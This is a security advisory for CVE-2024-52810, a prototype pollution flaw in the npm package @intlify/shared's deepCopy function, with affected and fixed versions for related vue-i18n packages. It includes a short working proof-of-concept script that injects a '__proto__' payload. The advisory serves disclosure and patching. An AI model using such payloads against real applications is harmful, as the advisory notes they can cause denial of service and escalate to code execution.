Advisory

GHSA-hjwq-mjwj-4x6c

Also known as: CVE-2024-52810

Summary

@intlify/shared Prototype Pollution vulnerability

Details

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared
Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

// install the package with the latest version
~$ npm install @intlify/[email protected]
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2024-12-02 17:26 UTC
Modified
2024-12-02 17:42 UTC

Affected packages and fixes

@intlify/shared

npm · All systems

Affected

  • introduced 9.7.0, fixed 9.14.2 (semver)

Fixed versions

9.14.2

Fix

@intlify/vue-i18n-core

npm · All systems

Affected

  • introduced 9.7.0, fixed 9.14.2 (semver)

Fixed versions

9.14.2

Fix

vue-i18n

npm · All systems

Affected

  • introduced 9.7.0, fixed 9.14.2 (semver)

Fixed versions

9.14.2

Fix

petite-vue-i18n

npm · All systems

Affected

  • introduced 10.0.0, fixed 10.0.5 (semver)

Fixed versions

10.0.5

Fix

@intlify/shared

npm · All systems

Affected

  • introduced 10.0.0, fixed 10.0.5 (semver)

Fixed versions

10.0.5

Fix

@intlify/vue-i18n-core

npm · All systems

Affected

  • introduced 10.0.0, fixed 10.0.5 (semver)

Fixed versions

10.0.5

Fix

vue-i18n

npm · All systems

Affected

  • introduced 10.0.0, fixed 10.0.5 (semver)

Fixed versions

10.0.5

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences